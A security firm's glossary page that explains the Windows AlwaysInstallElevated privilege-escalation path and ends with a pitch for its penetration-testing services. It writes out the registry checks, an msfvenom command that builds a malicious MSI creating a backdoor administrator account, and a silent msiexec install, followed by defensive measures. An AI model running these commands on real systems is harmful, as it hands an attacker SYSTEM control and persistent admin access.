Privilege Escalation · Term

What is AlwaysInstallElevated?

AlwaysInstallElevated is a Windows policy that lets any user install MSI packages as SYSTEM. If it is enabled, a crafted installer gives instant SYSTEM access. Here is what it is, the payload, and how to check for it.

Privilege Escalation · TermAll services
TL;DR

AlwaysInstallElevated is a Windows policy setting that, when enabled, lets any user install Windows Installer (MSI) packages with SYSTEM privileges. It is meant to let standard users install approved software, but if both the machine and user registry keys are set to 1, an attacker simply builds a malicious MSI and installs it to get a SYSTEM shell. It is one of the fastest Windows escalations when present, and the check is two registry queries.

By John Dill, Red Team Lead, SecureLayer7Updated

What AlwaysInstallElevated is

AlwaysInstallElevated is a Group Policy setting that makes the Windows Installer run MSI packages with elevated (SYSTEM) privileges, even when launched by a standard user. Administrators sometimes enable it so users can install approved software without admin rights.

The problem is that it does not restrict which MSI runs elevated. If the policy is on, any package, including a malicious one the attacker crafts, installs as SYSTEM.

The abuse and payload

The attacker checks the two registry keys, then installs a crafted MSI:

  • Check both keys (both must be 1): reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated and the same under HKCU.
  • Build a malicious MSI: msfvenom -p windows/x64/exec CMD="net user hacker P@ss123! /add && net localgroup administrators hacker /add" -f msi -o evil.msi
  • Install it: msiexec /quiet /qn /i evil.msi
  • The actions run as SYSTEM, creating an admin account or a shell.

Documented technique shown for defenders.

How to defend

  • Do not enable AlwaysInstallElevated. It is effectively a SYSTEM-for-any-user switch.
  • Audit both registry keys and set them to 0 (or unset) across the estate via Group Policy.
  • Use proper software-deployment tooling that installs with controlled privileges instead.
  • Apply application control (allow-listing) so unexpected MSIs cannot run.
  • Monitor for msiexec installing packages from user-writable locations.

References

  1. [1]Microsoft: Privilege Constants (Windows)(Microsoft)
  2. [2]MITRE ATT&CK: Privilege Escalation (TA0004)(MITRE)
  3. [3]NIST SP 800-115 Technical Guide to Security Testing(NIST)
Related terms

Common questions

Privilege escalation, asked often

Want your systems tested for these paths?

Scope an engagement

Find the privilege-escalation paths before an attacker does.

We run internal and host penetration tests that walk the real route from a low-privileged foothold to root or SYSTEM, then hand your team a report with reproducible evidence and a fix for every step. Free re-test included.

See all services30-min scoping call, fixed-price proposal in 48 hours.